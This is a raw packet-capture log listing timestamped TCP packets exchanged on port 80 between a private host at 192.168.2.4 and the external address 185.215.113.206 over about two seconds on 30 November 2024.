Nov 30, 2024 09:44:26.791110039 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.791121006 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.791160107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.792639971 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.792651892 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.792685986 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.792711973 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.794153929 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.794162989 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.794173956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.794212103 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.795689106 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.795700073 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.795743942 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.797291994 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.797302961 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.797338963 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.798710108 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.798731089 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.798784971 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.800246000 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.800256968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.800268888 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.800303936 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.801780939 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.801793098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.801837921 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.803324938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.803335905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.803380013 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.804841995 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.804855108 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.804886103 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.804909945 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.806363106 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.806375027 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.806411982 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.807831049 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.807843924 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.807900906 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.856441975 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.856797934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.856897116 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.857487917 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.857538939 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.858181953 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.858232975 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.858882904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.858894110 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.858937025 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.860220909 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.863074064 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.915380001 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.915697098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.915782928 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.915873051 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.915915966 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.916563034 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.916615009 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.917279959 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.917289972 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.917484999 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:26.918608904 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:26.919075012 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.049866915 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.170068026 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.504071951 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.504483938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.504551888 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.505398035 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.505412102 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.505445957 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.505475998 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.507057905 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.507932901 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.507946014 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.507989883 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.509618044 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.509690046 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.510497093 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.510516882 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.510548115 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.510561943 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.512191057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.512202024 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.512253046 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.636526108 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.636584044 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.636954069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.637000084 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.637818098 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.637830019 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.637868881 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.639529943 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.639580965 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.640424967 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.640438080 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.640496016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.642155886 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.642230034 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.642950058 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.642961979 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.643002987 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.643017054 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.644665956 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.644678116 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.644716024 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.646572113 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.646583080 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.646626949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.646640062 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.648574114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.648585081 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.648641109 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.648694992 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.650352001 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.650373936 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.650414944 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.652273893 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.652286053 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.652296066 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.652322054 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.652338982 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.654150963 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.654160976 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.654191971 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.654202938 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.768806934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.768889904 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.769233942 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.769284010 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.769933939 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.769944906 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.769982100 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.771281004 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.771332979 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.771994114 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.772043943 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.772661924 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.772674084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.772713900 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.774064064 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.774076939 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.774116993 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.775427103 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.775438070 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.775474072 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.776794910 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.776806116 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.776848078 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.778148890 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.778166056 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.778207064 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.779556036 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.779567003 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.779604912 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.780920029 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.780930996 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.780966043 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.782407999 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.782429934 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.782459021 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.782484055 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.783965111 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.783976078 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.784017086 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.785468102 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.785479069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.785517931 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.785532951 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.786998987 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.787009954 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.787019968 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.787074089 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.787074089 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.788536072 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.788546085 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.788589001 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.790052891 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.790065050 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.790112019 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.791568041 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.791579962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.791620016 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.793107033 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.793121099 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.793131113 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.793157101 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.793167114 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.794626951 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.794639111 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.794681072 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.796102047 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.796120882 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.796154976 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.796171904 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.797610998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.797657967 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.837662935 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.837865114 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.837955952 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.838009119 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.901247978 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.901388884 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.901642084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.901696920 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.902286053 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.902338028 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.902968884 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.903018951 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.903675079 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.903685093 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.903728962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.905307055 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.905318022 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.905365944 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.906433105 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.906444073 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.906501055 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.907812119 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.907824039 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.907871962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.909156084 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.909168005 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.909213066 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.910914898 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.910927057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.910969973 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.911899090 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.911910057 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.911952972 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.913326979 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.913337946 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.913383961 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.913398027 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.914793015 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.914809942 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.914843082 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.914858103 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.916290998 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.916333914 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.916340113 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.916383982 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.917833090 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.917845011 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.917879105 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.919348001 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.919358969 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.919368982 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.919400930 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.919411898 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.920874119 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.920885086 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.920931101 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.922416925 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.922429085 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.922481060 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.922518015 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.923943996 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.923955917 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.924005985 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.925427914 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.925451040 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.925460100 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.925498009 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.925533056 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.926969051 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.926980019 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.927045107 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.928492069 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.928503036 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.928559065 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.930007935 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.930020094 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.930073977 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.931574106 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.931585073 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.931644917 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.933064938 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.933074951 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.933085918 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.933124065 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.933159113 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.934596062 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.934606075 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.934653997 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.934683084 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.936183929 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.936198950 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.936233044 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.936252117 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.937597036 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.937614918 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.937648058 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.937669992 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.939131975 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.939150095 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.939158916 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.939184904 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.939199924 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.940654039 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.940673113 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.940701008 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.940727949 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.942204952 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.942217112 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.942266941 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.942279100 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.943733931 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.943744898 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.943799019 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.945215940 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.945235014 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.945266962 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.945311069 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.946757078 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.946773052 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.946780920 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.946820974 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.946852922 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.970504999 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.970565081 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.970858097 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.970909119 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.971565962 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.971616030 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.972228050 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.972276926 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.972950935 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.972961903 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.973001957 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.974315882 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.974327087 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.974369049 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.975698948 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.975709915 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.975753069 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:27.977067947 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.977077007 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:27.977113962 CET	49749	80	192.168.2.4	185.215.113.206
